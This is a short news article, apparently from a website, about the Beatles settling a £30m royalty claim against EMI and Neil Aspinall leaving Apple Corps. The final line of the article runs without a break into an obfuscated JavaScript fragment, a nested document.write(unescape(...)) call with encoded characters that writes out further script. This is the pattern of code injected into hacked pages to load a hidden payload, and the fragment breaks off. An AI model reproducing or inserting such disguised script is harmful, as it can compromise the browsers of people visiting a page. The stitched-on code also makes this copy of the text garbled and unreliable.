Beatles settle EMI row

Sir Paul McCartney, Ringo Starr and the widows of John Lennon and George Harrison had claimed EMI owed £30m in missing royalties from album sales reports the BBC.

"I can confirm that we have reached a mutually acceptable settlement and that we are not going to say anything more than that," an EMI spokeswoman said.

The agreement could now pave the way for legal downloads of the band's hits.

The band have insisted their hits such as Let it Be, Hey Jude and Come Together are barred from music download sites, despite protests from EMI, which owns their recording rights.

In 2005, the band began legal proceedings in London's High Court to recover the alleged missing funds.

Neil Aspinall went to school with Sir Paul McCartney
Yesterday, it was revealed Neil Aspinall, the man responsible for the Beatles' business affairs had quit after more than 40 years with the band. The 64-year-old was head of the band's Apple Corps business, and oversaw releases like the Anthology series.

He was sometimes referred to as the "fifth Beatle" as he often made decisions which went on to benefit the band financially.

Mr Aspinall was behind several other legal cases brought on the band's behalf - including the recently settled dispute with Apple Computers over the Apple name and logo.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22